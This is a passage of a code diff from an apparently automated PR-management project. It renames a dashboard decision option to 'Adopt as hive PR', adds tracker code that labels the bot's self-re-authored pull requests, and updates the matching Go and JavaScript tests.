[]StageTrackerDecisionOption { + lead := decisionOption(decisionActionDirection, "Give direction", true, "") + lead.Consequence = "Tell the hive what to change; its next attempt starts from your words instead of the reviewer's." lead.Lead = true - out := make([]StageTrackerDecisionOption, 0, len(opts)+1) + out := make([]StageTrackerDecisionOption, 0, len(opts)+2) out = append(out, lead) + if it.AuthorKind != authorKindHive && it.AuthorKind != authorKindHuman { + adopt := decisionOption(decisionActionAdopt, "Adopt as hive PR", true, "") + adopt.Consequence = "The hive opens a fresh PR for the same issue from the current base and closes this one as superseded." + out = append(out, adopt) + } for _, o := range opts { switch o.Action { - case decisionActionReauthor: + case decisionActionDirection, decisionActionAdopt: continue case decisionActionCloseWontfix: o.Label = "Close as not planned" o.Consequence = "Closes this PR as not planned; the issue stays open for someone else." - case decisionActionDirection: - o.Consequence = "Hands the PR to a person: say who takes it or what to change; the hive steps back." } out = append(out, o) } diff --git a/src/pkg/dashboard/stage_tracker_decision_test.go b/src/pkg/dashboard/stage_tracker_decision_test.go index db4d3db391..4f0dc42650 100644 --- a/src/pkg/dashboard/stage_tracker_decision_test.go +++ b/src/pkg/dashboard/stage_tracker_decision_test.go @@ -372,15 +372,15 @@ func TestStageTrackerDecisionForHumanMerge(t *testing.T) { // presses Approve and offers re-authoring as its own choice; once a // person approved, the row says who admitted the head and the second // Approve is no longer offered. - t.Run("unsigned commits warn before acting and offer re-author", func(t *testing.T) { + t.Run("unsigned commits warn before acting and offer adopt", func(t *testing.T) { agent := it agent.Author, agent.AuthorKind, agent.DCOUnsigned, agent.DCOTotal = "hive[bot]", "hive", 2, 3 d := stageTrackerDecisionNeeded(agent, nil, "") - if !strings.Contains(d.Detail, "2 of 3 commits have no Signed-off-by") || !strings.Contains(d.Detail, "Re-author as hive PR is the separate choice") { + if !strings.Contains(d.Detail, "2 of 3 commits have no Signed-off-by") || !strings.Contains(d.Detail, "Adopt as hive PR is the separate choice") { t.Fatalf("details lack the DCO warning: %q", d.Detail) } - if got := []string{d.Options[0].Action, d.Options[1].Action, d.Options[2].Action}; got[2] != decisionActionReauthor || got[0] != decisionActionQueueMerge || got[1] != decisionActionMergeNow { - t.Fatalf("options = %v, want queue-merge, merge-now, re-author", got) + if got := []string{d.Options[0].Action, d.Options[1].Action, d.Options[2].Action}; got[2] != decisionActionAdopt || got[0] != decisionActionQueueMerge || got[1] != decisionActionMergeNow { + t.Fatalf("options = %v, want queue-merge, merge-now, adopt", got) } for _, a := range []string{decisionActionMergeNow, decisionActionQueueMerge} { if o := decisionOptionByAction(t, d, a); !o.Enabled || !strings.Contains(o.Consequence, "no Signed-off-by") { @@ -388,17 +388,17 @@ func TestStageTrackerDecisionForHumanMerge(t *testing.T) { } } re := d.Options[2] - if !re.Enabled || re.Label != "Re-author as hive PR" || !strings.Contains(re.Consequence, "nothing is merged as-is") { + if !re.Enabled || re.Label != "Adopt as hive PR" || !strings.Contains(re.Consequence, "nothing is merged as-is") { t.Fatalf("re-author = %+v", re) } human := it human.DCOUnsigned, human.DCOTotal = 1, 1 d = stageTrackerDecisionNeeded(human, nil, "") - if o := decisionOptionByAction(t, d, decisionActionReauthor); o.Enabled || !strings.Contains(o.ReasonIfDisabled, "@Karibhou to sign off") { + if o := decisionOptionByAction(t, d, decisionActionAdopt); o.Enabled || !strings.Contains(o.ReasonIfDisabled, "@Karibhou to sign off") { t.Fatalf("re-author on a person's PR = %+v", o) } - if d := stageTrackerDecisionNeeded(it, nil, ""); decisionHasAction(d, decisionActionReauthor) { - t.Fatalf("re-author offered without unsigned commits: %+v", d.Options) + if d := stageTrackerDecisionNeeded(it, nil, ""); decisionHasAction(d, decisionActionAdopt) { + t.Fatalf("adopt offered without unsigned commits: %+v", d.Options) } }) diff --git a/src/pkg/dashboard/stage_tracker_fixer_test.go b/src/pkg/dashboard/stage_tracker_fixer_test.go index d5be8979ea..c1baecb5e2 100644 --- a/src/pkg/dashboard/stage_tracker_fixer_test.go +++ b/src/pkg/dashboard/stage_tracker_fixer_test.go @@ -64,32 +64,44 @@ func TestStageTrackerFixerExhaustedCaption(t *testing.T) { } } -func TestDecisionForPRFixerExhaustedLeadsWithReauthor(t *testing.T) { +// The hive re-authors its own exhausted PR by itself, so the 085 card on a +// hive-authored PR never offers "re-author": Give direction leads, close +// reads "not planned". A contributor clanker's PR gets Adopt instead. +func TestDecisionForPRFixerExhaustedNoReauthorOnHivePR(t *testing.T) { it := StageTrackerItem{ Repo: "hivecommons/hive", Number: 15308, Kind: "pr", Stage: trackerNumberNeedsDecision, AuthorKind: authorKindHive, Reason: stagelabels.FixerExhaustedReason(6), } d := decisionForPR(it, &review.Aggregate{HumanSummaries: []string{"tests fail on arm64"}}, "", false) - if d == nil || !strings.Contains(d.Question, "6 attempts") || !strings.Contains(d.Question, "tests fail on arm64") { + if d == nil || !strings.Contains(d.Question, "6 attempts") || !strings.Contains(d.Question, "tests fail on arm64") || strings.Contains(d.Question, "Re-author") { t.Fatalf("decision = %+v", d) } - if len(d.Options) == 0 || d.Options[0].Action != decisionActionReauthor || !d.Options[0].Lead || !d.Options[0].Enabled { + if len(d.Options) == 0 || d.Options[0].Action != decisionActionDirection || !d.Options[0].Lead || !d.Options[0].Enabled { t.Fatalf("lead option = %+v", d.Options) } var sawClose bool for i, o := range d.Options { + if o.Action == "decide:re-author" || o.Action == decisionActionAdopt { + t.Fatalf("hive-authored PR offered %q at %d: %+v", o.Action, i, d.Options) + } + if o.Action == decisionActionDirection && i != 0 { + t.Fatalf("duplicate direction option at %d: %+v", i, d.Options) + } if o.Action == decisionActionCloseWontfix { sawClose = true if i == 0 || o.Lead || o.Label != "Close as not planned" { t.Fatalf("close option = %+v at %d", o, i) } } - if o.Action == decisionActionReauthor && i != 0 { - t.Fatalf("duplicate re-author option at %d: %+v", i, d.Options) - } } if !sawClose { t.Fatalf("no close-as-not-planned option: %+v", d.Options) } + agent := it + agent.AuthorKind, agent.Author = authorKindClanker, "thatguywob" + d = decisionForPR(agent, nil, "", false) + if len(d.Options) < 2 || d.Options[0].Action != decisionActionDirection || d.Options[1].Action != decisionActionAdopt || d.Options[1].Label != "Adopt as hive PR" { + t.Fatalf("contributor options = %+v", d.Options) + } } diff --git a/src/pkg/dashboard/stage_tracker_lead_action_test.go b/src/pkg/dashboard/stage_tracker_lead_action_test.go index aec72941eb..de9a82eb87 100644 --- a/src/pkg/dashboard/stage_tracker_lead_action_test.go +++ b/src/pkg/dashboard/stage_tracker_lead_action_test.go @@ -91,24 +91,26 @@ assert.strictEqual(leads[1].target, human, 'delegate carries the decide target') assert.strictEqual(leads[1].enabled, true); // The parked issue whose lead already is delegate: one pill, never two. assert.strictEqual(stageTrackerLeadActionsOnRow(parked, ctx).length, 1); -// A Re-author lead (the #16456 row): both pills, delegate disabled with its -// reason for a reader. -const reauthor = { ...human, number: 16456, decision_needed: { question: 'Changes requested', options: [{ action: 'decide:re-author', label: 'Re-author', enabled: true, lead: true }, { action: 'decide:delegate', label: 'Let hive decide', enabled: true }] } }; +// A Give-direction lead (the #16456 row, a hive-authored PR whose fixer +// gave up β€” the hive re-authors those itself, so no re-author pill is +// offered): both pills, delegate disabled with its reason for a reader. +const reauthor = { ...human, number: 16456, decision_needed: { question: 'Changes requested', options: [{ action: 'decide:direction', label: 'Give direction', enabled: true, lead: true, consequence: 'Tell the hive what to change; its next attempt starts from your words.' }, { action: 'decide:delegate', label: 'Let hive decide', enabled: true }] } }; h = stageTrackerLeadActionHtml(reauthor, ctx); assert.strictEqual(buttons(h), 2, h); -assert.strictEqual(labelOf(h), 'Re-author', h); +assert.strictEqual(labelOf(h), 'Give direction', h); +assert.ok(!h.includes('re-author'), 'no re-author pill on a hive-authored row: ' + h); assert.ok(h.includes('data-ham-act="decide:delegate"'), h); -// Owner on that row: "Re-author" read as a record of what happened β€” the +// Owner on that row: the lead read as a record of what happened β€” the // action pills and the record pills ("adopted from #N", the base branch) // wore the same outline. Inline actions are <button>s with the filled // action class (primary / secondary / danger), never the record class; // a record pill never carries the action class. The server's // consequence is the lead's hover text; a lead without one gets the // client's clause for its verb. -assert.ok(h.includes('<button type="button" class="ham-lead-act ham-act-primary" data-ham-act="decide:re-author" title="The hive opens a fresh PR for the same issue from the current base and closes this one as superseded."'), 'lead: filled primary button with the consequence tooltip: ' + h); +assert.ok(h.includes('<button type="button" class="ham-lead-act ham-act-primary" data-ham-act="decide:direction" title="Tell the hive what to change; its next attempt starts from your words."'), 'lead: filled primary button with the consequence tooltip: ' + h); assert.ok(!h.includes('ham-badge'), 'action pills never wear the record class: ' + h); assert.strictEqual((h.match(/<button type="button" class="ham-lead-act ham-act-(primary|secondary)"/g) || []).length, 2, h); -const withConsequence = { ...reauthor, decision_needed: { question: 'Changes requested', options: [{ action: 'decide:re-author', label: 'Re-author', enabled: true, lead: true, consequence: 'Hive opens a fresh PR for the issue and closes this one as superseded' }, { action: 'decide:delegate', label: 'Let hive decide', enabled: true }] } }; +const withConsequence = { ...reauthor, decision_needed: { question: 'Changes requested', options: [{ action: 'decide:direction', label: 'Give direction', enabled: true, lead: true, consequence: 'Hive opens a fresh PR for the issue and closes this one as superseded' }, { action: 'decide:delegate', label: 'Let hive decide', enabled: true }] } }; assert.ok(stageTrackerLeadActionHtml(withConsequence, ctx).includes('title="Hive opens a fresh PR for the issue and closes this one as superseded"'), 'the server consequence wins'); const closeLead = { ...human, decision_needed: { question: 'Superseded?', options: [{ action: 'decide:close-superseded', label: 'Close as superseded by #9', enabled: true, lead: true }, { action: 'decide:delegate', label: 'Let hive decide', enabled: true }] } }; h = stageTrackerLeadActionHtml(closeLead, ctx); diff --git a/src/pkg/dashboard/stage_tracker_lineage_test.go b/src/pkg/dashboard/stage_tracker_lineage_test.go index 84441f2f6e..84c0342fc5 100644 --- a/src/pkg/dashboard/stage_tracker_lineage_test.go +++ b/src/pkg/dashboard/stage_tracker_lineage_test.go @@ -122,6 +122,15 @@ assert.ok(stageTrackerLineageChipHtml(orig, nowMs).includes('href="https://githu assert.strictEqual(stageTrackerLineageClause(orig), ''); assert.strictEqual(stageTrackerLineageText({ lineage: { kind: 'adopted', from_number: 7 } }, nowMs), 'adopted from #7'); assert.ok(stageTrackerLineageTip({ lineage: { kind: 'adopted', from_number: 7, reason: 'operator-asked' } }).includes("maintainer's request")); +// A hive self re-author (fixer exhausted on the hive's own PR): the chip +// says "re-authored from", never "adopted from", and the hover says why. +const reauthored = { kind: 'pr', number: 95, author_kind: 'hive', lineage: { kind: 're-authored', from_number: 90, from_url: 'https://github.com/acme/docs/pull/90', from_author_kind: 'hive', from_state: 'closed', at: '2026-10-29T04:56:00Z', reason: 'fixer-exhausted' } }; +assert.strictEqual(stageTrackerLineageText(reauthored, nowMs), 're-authored from #90 Β· 6h'); +assert.strictEqual(stageTrackerLineageClause(reauthored), ' (re-authored from #90)'); +const reTip = stageTrackerLineageTip(reauthored); +assert.ok(reTip.includes('fixer gave up on its own #90') && reTip.includes('#90 is closed as superseded.'), reTip); +assert.ok(!reTip.includes('adopt'), reTip); +assert.ok(stageTrackerLineageChipHtml(reauthored, nowMs).includes('href="https://github.com/acme/docs/pull/90"')); `, }, "\n") runStageTrackerRowActionsScript(t, script) diff --git a/src/pkg/dashboard/stage_tracker_reauthor.go b/src/pkg/dashboard/stage_tracker_reauthor.go new file mode 100644 index 0000000000..d890ca90c9 --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_reauthor.go @@ -0,0 +1,175 @@ +package dashboard + +import ( + "strconv" + "strings" + "time" + + "github.com/hivecommons/hive/pkg/stagelabels" +) + +// Hive self re-authoring on the tracker. When the fixer gives up on a +// HIVE-authored PR the engine no longer parks it for a person: it closes +// the PR as superseded and lets the issue requeue so a fresh PR is opened +// from the current base (automerge.reauthorExhaustedHivePR; one automatic +// re-author per issue). The tracker shows that as motion, not as a gap: +// +// - the issue row, until the fresh hive PR is listed, sits in the +// PR-in-progress lane with "Re-authoring Β· superseding #<old>" and a +// `remediation` of kind kick (the evidence is the engine's record); +// - the fresh hive PR carries lineage {kind: "re-authored", from_number} +// so its chip reads "re-authored from #<old>" (never "adopted from", +// which is for a contributor's PR the hive took over); +// - an old PR still listed with the re-authoring reason (the sweep closes +// it in the same pass, so rarely) reads the same caption. + +const ( + lineageReauthored = "re-authored" + lineageReasonFixerExhaust = "fixer-exhausted" + stageTrackerReauthorSource = "re-author" + // stageTrackerReauthorWindow bounds how long an issue row claims + // "Re-authoring" on the record alone: past it, with no fresh PR + // listed, the row falls back to its native words rather than + // promising motion the scheduler has not produced. + stageTrackerReauthorWindow = 24 * time.Hour +) + +// stageTrackerReauthorRecord is one re-author the engine recorded: the +// superseded hive PR and when. +type stageTrackerReauthorRecord struct { + Repo string + Issue int + OldPR int + Attempts int + At time.Time +} + +// stageTrackerReauthorIndex lists the engine's re-author records by +// issue key (repo#issue). Several records for one issue keep the latest. +func stageTrackerReauthorIndex(store *stagelabels.Store) map[string]stageTrackerReauthorRecord { + out := map[string]stageTrackerReauthorRecord{} + if store == nil { + return out + } + for _, key := range store.Keys() { + rec, ok := store.Get(key) + if !ok || !rec.Reauthored() { + continue + } + repo, numText, found := strings.Cut(key, "#") + old, err := strconv.Atoi(numText) + if !found || err != nil || old <= 0 || repo == "" { + continue + } + ik := stagelabels.Key(repo, rec.ReauthorIssue) + if prev, dup := out[ik]; dup && prev.At.After(rec.ReauthoredAt) { + continue + } + out[ik] = stageTrackerReauthorRecord{Repo: repo, Issue: rec.ReauthorIssue, OldPR: old, Attempts: rec.ReauthorAttempts, At: rec.ReauthoredAt} + } + return out +} + +func stageTrackerReauthorCaption(oldPR int) string { + return "Re-authoring Β· superseding #" + strconv.Itoa(oldPR) +} + +// stageTrackerReauthorLineage is the fresh hive PR's lineage back to the +// superseded one. +func stageTrackerReauthorLineage(rec stageTrackerReauthorRecord, baseURL string) *StageTrackerLineage { + at := rec.At + return &StageTrackerLineage{Kind: lineageReauthored, FromNumber: rec.OldPR, FromURL: overviewItemURL("", rec.Repo, rec.OldPR, "pr", baseURL), + FromAuthorKind: authorKindHive, FromState: lineageFromStateClosed, At: &at, Reason: lineageReasonFixerExhaust} +} + +// stageTrackerReauthorSuccessor reports whether PR it is the hive's fresh +// PR for rec: hive-authored, a different number than the superseded one, +// opened after the re-author and closing rec's issue. +func stageTrackerReauthorSuccessor(it StageTrackerItem, rec stageTrackerReauthorRecord) bool { + if it.Kind != "pr" || it.Number == rec.OldPR || !strings.EqualFold(it.Repo, rec.Repo) { + return false + } + if it.AuthorKind != authorKindHive { + return false + } + if it.CreatedAt != nil && !rec.At.IsZero() && it.CreatedAt.Before(rec.At) { + return false + } + for _, li := range it.LinkedIssues { + if li.Number == rec.Issue { + return true + } + } + return false +} + +// stageTrackerApplyReauthor stamps re-author lineage on fresh hive PRs +// and the "Re-authoring" caption on issues whose fresh PR is not listed +// yet. Runs before linked PRs are nested so sub-rows inherit the lineage. +func stageTrackerApplyReauthor(items []StageTrackerItem, store *stagelabels.Store, baseURL string, now time.Time) { + idx := stageTrackerReauthorIndex(store) + if len(idx) == 0 { + return + } + successor := map[string]bool{} + for i := range items { + it := &items[i] + if it.Kind != "pr" { + continue + } + if issue, ok := stagelabels.ParseReauthoring(it.Reason); ok { + rec := idx[stagelabels.Key(it.Repo, issue)] + if rec.OldPR == 0 { + rec = stageTrackerReauthorRecord{Repo: it.Repo, Issue: issue, OldPR: it.Number, At: now} + } + stageTrackerReauthorMotion(it, rec, now) + continue + } + if it.Lineage != nil { + continue + } + for ik, rec := range idx { + if stageTrackerReauthorSuccessor(*it, rec) { + it.Lineage = stageTrackerReauthorLineage(rec, baseURL) + successor[ik] = true + break + } + } + } + for i := range items { + it := &items[i] + if it.Kind != "issue" { + continue + } + ik := stagelabels.Key(it.Repo, it.Number) + rec, ok := idx[ik] + if !ok || successor[ik] || it.Stage >= trackerNumberNeedsDecision { + continue + } + if !rec.At.IsZero() && now.Sub(rec.At) > stageTrackerReauthorWindow { + continue + } + stageTrackerReauthorMotion(it, rec, now) + } +} + +// stageTrackerReauthorMotion words a row the hive is re-authoring: lane +// PR-in-progress, caption naming the superseded PR, remediation evidence +// of kind kick (the engine's own record is the pickup). +func stageTrackerReauthorMotion(it *StageTrackerItem, rec stageTrackerReauthorRecord, now time.Time) { + since := rec.At + if since.IsZero() { + since = now + } + it.Caption, it.Actor = stageTrackerReauthorCaption(rec.OldPR), authorKindHive + it.DisplayColumn = trackerNumberPRInProgress + it.Remediation = &StageTrackerRemediation{Actor: authorKindHive, Kind: remediationKindKick, Since: timePtr(since), Source: stageTrackerReauthorSource} + detail := "The hive's fixer gave up on #" + strconv.Itoa(rec.OldPR) + if rec.Attempts > 0 { + detail += " after " + strconv.Itoa(rec.Attempts) + " attempts" + } + detail += ", so the hive closed it as superseded and is opening a fresh PR for #" + strconv.Itoa(rec.Issue) + + " from the current base (evidence: kick, " + stageTrackerReauthorSource + ", since " + since.UTC().Format(time.RFC3339) + "). One automatic re-author per issue; a second exhaustion parks for a decision." + it.CodeActivity = &StageTrackerActivity{Head: it.Head, State: codeStateRemediating, Caption: it.Caption, Detail: detail, + Actor: authorKindHive, Source: stageTrackerReauthorSource, Since: timePtr(since), ObservedAt: timePtr(now), Active: true} +} diff --git a/src/pkg/dashboard/stage_tracker_reauthor_test.go b/src/pkg/dashboard/stage_tracker_reauthor_test.go new file mode 100644 index 0000000000..c13acd6588 --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_reauthor_test.go @@ -0,0 +1,90 @@ +package dashboard + +import ( + "strings" + "testing" + "time" + + "github.com/hivecommons/hive/pkg/stagelabels" +) + +func reauthorStore(t *testing.T, now time.Time, oldPR, issue int) *stagelabels.Store { + t.Helper() + clock := now.Add(-10 * time.Minute) + store := stagelabels.NewStore("", func() time.Time { return clock }) + store.Observe(stagelabels.Key("acme/docs", oldPR), stagelabels.Fixing, stagelabels.ReauthoringReason(issue)) + store.MarkReauthored(stagelabels.Key("acme/docs", oldPR), issue, "deadbeef", 6, clock) + return store +} + +// The engine re-authored hive PR #90 for issue #12 (fixer exhausted). Until +// the fresh PR is listed the issue sits in PR-in-progress as +// "Re-authoring Β· superseding #90" with kick evidence; once hive PR #95 +// closing #12 is listed it carries lineage re-authored-from-#90 and the +// issue's native words return. +func TestStageTrackerApplyReauthor(t *testing.T) { + now := time.Date(2026, 11, 2, 9, 0, 0, 0, time.UTC) + store := reauthorStore(t, now, 90, 12) + issue := StageTrackerItem{Repo: "acme/docs", Number: 12, Kind: "issue", Stage: trackerNumberActionable, Caption: "ready for pickup"} + + t.Run("issue alone words the re-author", func(t *testing.T) { + items := []StageTrackerItem{issue} + stageTrackerApplyReauthor(items, store, "", now) + it := items[0] + if it.Caption != "Re-authoring Β· superseding #90" || it.Actor != authorKindHive || it.DisplayColumn != trackerNumberPRInProgress { + t.Fatalf("issue row = caption %q actor %q column %d", it.Caption, it.Actor, it.DisplayColumn) + } + if it.Remediation == nil || it.Remediation.Kind != remediationKindKick || it.Remediation.Actor != authorKindHive || it.Remediation.Since == nil || it.Remediation.Source != "re-author" { + t.Fatalf("remediation = %+v", it.Remediation) + } + if it.CodeActivity == nil || it.CodeActivity.State != codeStateRemediating || !it.CodeActivity.Active || !strings.Contains(it.CodeActivity.Detail, "after 6 attempts") || !strings.Contains(it.CodeActivity.Detail, "One automatic re-author per issue") { + t.Fatalf("code activity = %+v", it.CodeActivity) + } + if it.Stage != trackerNumberActionable { + t.Fatalf("native stage must stand, got %d", it.Stage) + } + }) + + t.Run("fresh hive PR carries re-authored lineage and releases the issue", func(t *testing.T) { + created := now.Add(-2 * time.Minute) + fresh := StageTrackerItem{Repo: "acme/docs", Number: 95, Kind: "pr", AuthorKind: authorKindHive, CreatedAt: &created, + LinkedIssues: []StageTrackerLinkedIssue{{Number: 12}}} + items := []StageTrackerItem{issue, fresh} + stageTrackerApplyReauthor(items, store, "https://github.com", now) + l := items[1].Lineage + if l == nil || l.Kind != lineageReauthored || l.FromNumber != 90 || l.FromState != lineageFromStateClosed || l.Reason != lineageReasonFixerExhaust || l.FromAuthorKind != authorKindHive || !strings.HasSuffix(l.FromURL, "/acme/docs/pull/90") { + t.Fatalf("lineage = %+v", l) + } + if items[0].Caption != "ready for pickup" || items[0].Remediation != nil { + t.Fatalf("issue must fall back to native words once the successor is listed: %+v", items[0]) + } + }) + + t.Run("a contributor PR or an older PR is not the successor", func(t *testing.T) { + before := now.Add(-time.Hour) + clanker := StageTrackerItem{Repo: "acme/docs", Number: 96, Kind: "pr", AuthorKind: authorKindClanker, LinkedIssues: []StageTrackerLinkedIssue{{Number: 12}}} + older := StageTrackerItem{Repo: "acme/docs", Number: 80, Kind: "pr", AuthorKind: authorKindHive, CreatedAt: &before, LinkedIssues: []StageTrackerLinkedIssue{{Number: 12}}} + items := []StageTrackerItem{clanker, older, issue} + stageTrackerApplyReauthor(items, store, "", now) + if items[0].Lineage != nil || items[1].Lineage != nil || items[2].Caption != "Re-authoring Β· superseding #90" { + t.Fatalf("items = %+v", items) + } + }) + + t.Run("old PR still listed on the re-authoring reason reads the same", func(t *testing.T) { + old := StageTrackerItem{Repo: "acme/docs", Number: 90, Kind: "pr", AuthorKind: authorKindHive, Stage: trackerNumberFixing, Reason: stagelabels.ReauthoringReason(12), Head: "deadbeef"} + items := []StageTrackerItem{old} + stageTrackerApplyReauthor(items, store, "", now) + if items[0].Caption != "Re-authoring Β· superseding #90" || items[0].Lineage != nil || items[0].CodeActivity == nil || items[0].CodeActivity.Head != "deadbeef" { + t.Fatalf("old PR = %+v", items[0]) + } + }) + + t.Run("record older than the window no longer promises motion", func(t *testing.T) { + items := []StageTrackerItem{issue} + stageTrackerApplyReauthor(items, store, "", now.Add(stageTrackerReauthorWindow+time.Hour)) + if items[0].Caption != "ready for pickup" { + t.Fatalf("stale record still words the issue: %q", items[0].Caption) + } + }) +} diff --git a/src/pkg/dashboard/stage_tracker_row_actions_test.go b/src/pkg/dashboard/stage_tracker_row_actions_test.go index e53a892ab4..492f564f85 100644 --- a/src/pkg/dashboard/stage_tracker_row_actions_test.go +++ b/src/pkg/dashboard/stage_tracker_row_actions_test.go @@ -1520,11 +1520,12 @@ func TestStageTrackerReauthorAndApprovalCaveats(t *testing.T) { html := indexHTML(t) runStageTrackerRowActionsScript(t, stageTrackerRowActionsPreamble(t, html)+stageTrackerConfirmOptOutJS(t, html)+jsConstLine(t, html, "STAGE_TRACKER_ACTED_OPTION_ID")+` const ids = as => as.map(a => a.id); +global.stageTrackerAdoptionTip = () => ''; const merger = { user: true, canHold: true, canHuman: true }; const options = [ { action: 'decide:queue-merge', label: 'Approve and let hive merge', enabled: true, consequence: 'records your approval as the trust override for this head; the hive\'s merge sweep merges #317 as-is on its next pass once CI is green and the head has soaked, and does not adopt it' }, { action: 'decide:merge-now', label: 'Merge now as maintainer', enabled: true, consequence: 'merges #317 into main now via hive\'s identity, attributed to you; 2 of 3 commits have no Signed-off-by, so GitHub refuses the merge where DCO is required' }, - { action: 'decide:re-author', label: 'Re-author as hive PR', enabled: true, consequence: 'the hive re-homes #317\'s commits on a hive-owned, signed-off branch and opens a superseding PR; #317 is closed when that one merges; nothing is merged as-is' }, + { action: 'decide:adopt', label: 'Adopt as hive PR', enabled: true, consequence: 'the hive re-homes #317\'s commits on a hive-owned, signed-off branch and opens a superseding PR; #317 is closed when that one merges; nothing is merged as-is' }, { action: 'decide:delegate', label: 'Let hive decide', enabled: true, consequence: 'the hive answers at once why it will not merge this itself and lists these options; it never merges it' }, { action: 'decide:close-wontfix', label: "Close as won't fix", enabled: true, consequence: 'closes #317 unmerged' }, { action: 'hold', label: 'Hold', enabled: true }, @@ -1534,26 +1535,31 @@ const pr317 = { repo: 'hivecommons/hotshot', kind: 'pr', number: 317, url: 'http const issue316 = { repo: 'hivecommons/hotshot', kind: 'issue', number: 316, url: 'u', stage: 90, mirrored: true, modifiers: [], linked_prs: [{ number: 317, url: pr317.url, author: 'hive[bot]', author_kind: 'hive', base_ref: 'main', stage: 90, modifiers: [], human_merge_reason: 'untrusted-author', dco_unsigned: 2, dco_total: 3, decision_needed: { question: 'q', options } }] }; -// The re-author choice leads right after the two Approve answers, on the -// PR sub-row and on the issue row over it. +// The adopt-as-hive-PR choice leads right after the two Approve answers, +// on the PR sub-row and on the issue row over it. (It was "re-author" +// before the hive learned to re-author its own exhausted PRs by itself; +// a person's rewrite of a PR is adopt.) let as = stageTrackerRowActions(pr317, merger); -assert.deepStrictEqual(ids(as).slice(0, 4), ['decide:queue-merge', 'decide:merge-now', 'decide:re-author', 'decide'], ids(as)); -assert.strictEqual(as[2].label, 'Re-author as hive PR'); +assert.deepStrictEqual(ids(as).slice(0, 4), ['decide:queue-merge', 'decide:merge-now', 'decide:adopt', 'decide'], ids(as)); +assert.strictEqual(as[2].label, 'Adopt as hive PR'); assert.ok(as[2].enabled && as[2].lead); assert.ok(as[2].hint.includes('nothing is merged as-is')); as = stageTrackerRowActions(issue316, merger); -assert.deepStrictEqual(ids(as).slice(0, 3), ['decide:queue-merge', 'decide:merge-now', 'decide:re-author'], ids(as)); +assert.deepStrictEqual(ids(as).slice(0, 3), ['decide:queue-merge', 'decide:merge-now', 'decide:adopt'], ids(as)); assert.strictEqual(as[2].target.number, 317); const menu = stageTrackerMenuHtml(as, 'hivecommons/hotshot#316'); -assert.ok(menu.indexOf('data-ham-act="decide:re-author"') > 0 && menu.indexOf('data-ham-act="decide:re-author"') < menu.indexOf('data-ham-act="hold"')); -// Wiring: request body, acting caption, ledger id, label. -assert.deepStrictEqual(stageTrackerActionRequest(pr317, 'decide:re-author', {}).body, { decision: 're-author', comment: '', type: 'pr' }); -assert.strictEqual(STAGE_TRACKER_ACTION_LABELS['decide:re-author'], 'Re-author as hive PR'); -assert.strictEqual(STAGE_TRACKER_ACTING_CAPTIONS['decide:re-author'], 'Queuing re-authoring…'); -assert.strictEqual(STAGE_TRACKER_ACTED_OPTION_ID['re-author'], 'decide:re-author'); +assert.ok(menu.indexOf('data-ham-act="decide:adopt"') > 0 && menu.indexOf('data-ham-act="decide:adopt"') < menu.indexOf('data-ham-act="hold"')); +// Wiring: request body, acting caption, ledger id, label. "decide:re-author" +// is gone from the vocabulary; a historical "re-author" ledger entry still +// reads, and maps to adopt. +assert.deepStrictEqual(stageTrackerActionRequest(pr317, 'decide:adopt', {}).body, { decision: 'adopt', comment: '', type: 'pr' }); +assert.strictEqual(STAGE_TRACKER_ACTION_LABELS['decide:re-author'], undefined); +assert.strictEqual(STAGE_TRACKER_ACTING_CAPTIONS['decide:re-author'], undefined); +assert.strictEqual(STAGE_TRACKER_ACTED_OPTION_ID['re-author'], 'decide:adopt'); +assert.strictEqual(STAGE_TRACKER_ACTED_OPTION_ID['adopt'], 'decide:adopt'); // The DCO caveat, in plain words, only when the record counted unsigned commits. assert.ok(stageTrackerDCOCaveat([pr317]).includes('2 of 3 commits on this head lack a Signed-off-by'), stageTrackerDCOCaveat([pr317])); -assert.ok(stageTrackerDCOCaveat([pr317]).includes('"Re-author as hive PR" is the separate choice')); +assert.ok(stageTrackerDCOCaveat([pr317]).includes('"Adopt as hive PR" is the separate choice')); assert.strictEqual(stageTrackerDCOCaveat([{ ...pr317, dco_unsigned: 0 }]), ''); assert.strictEqual(stageTrackerDCOCaveat([]), ''); (async () => { @@ -1566,14 +1572,11 @@ assert.strictEqual(stageTrackerDCOCaveat([]), ''); assert.ok(dialogs[1].cfg.message.includes("stands in for the author's trust on this version"), dialogs[1].cfg.message); assert.ok(dialogs[1].cfg.message.includes('will not adopt or re-author it'), dialogs[1].cfg.message); assert.ok(dialogs[1].cfg.message.includes('lack a Signed-off-by'), dialogs[1].cfg.message); - // Re-author has its own confirm, danger-styled, with the don't-ask box. - assert.deepStrictEqual(await stageTrackerActionPayload([pr317], 'decide:re-author'), {}); - assert.strictEqual(dialogs[2].cfg.title, 'Re-author as hive PR'); - assert.ok(dialogs[2].cfg.danger); - assert.ok(dialogs[2].cfg.message.includes('superseding PR') && dialogs[2].cfg.message.includes('Nothing is merged as-is'), dialogs[2].cfg.message); - assert.deepStrictEqual(dialogs[2].cfg.check, { label: "Don't ask again for this action" }); + // Adopt keeps its own confirm; a cancelled confirm acts on nothing. + assert.deepStrictEqual(await stageTrackerActionPayload([pr317], 'decide:adopt'), {}); + assert.strictEqual(dialogs[2].cfg.title, 'Adopt pull request'); dialogAnswer = false; - assert.strictEqual(await stageTrackerActionPayload([pr317], 'decide:re-author'), null, 'cancel acts on nothing'); + assert.strictEqual(await stageTrackerActionPayload([pr317], 'decide:adopt'), null, 'cancel acts on nothing'); // A signed head: no DCO sentence in the Approve confirm. dialogAnswer = true; dialogs.length = 0; await stageTrackerActionPayload([{ ...pr317, dco_unsigned: 0 }], 'decide:merge-now'); diff --git a/src/pkg/dashboard/stage_tracker_signoff_lead_test.go b/src/pkg/dashboard/stage_tracker_signoff_lead_test.go index 5e7dd6bc66..03c3b48a29 100644 --- a/src/pkg/dashboard/stage_tracker_signoff_lead_test.go +++ b/src/pkg/dashboard/stage_tracker_signoff_lead_test.go @@ -96,11 +96,11 @@ func TestStageTrackerLeadApproveForSignOff(t *testing.T) { t.Fatalf("leads = %v", got) } }) - t.Run("an existing lead (Re-author) stands", func(t *testing.T) { + t.Run("an existing lead (Give direction) stands", func(t *testing.T) { it := signOffItem("passing", "human_decision") - it.DecisionNeeded.Options = decisionLeadWithReauthor(it.DecisionNeeded.Options) + it.DecisionNeeded.Options = decisionLeadFixerExhausted(it.DecisionNeeded.Options, it) stageTrackerLeadApproveForSignOff(&it) - if got := leadActions(it.DecisionNeeded); len(got) != 1 || got[0] != decisionActionReauthor { + if got := leadActions(it.DecisionNeeded); len(got) != 1 || got[0] != 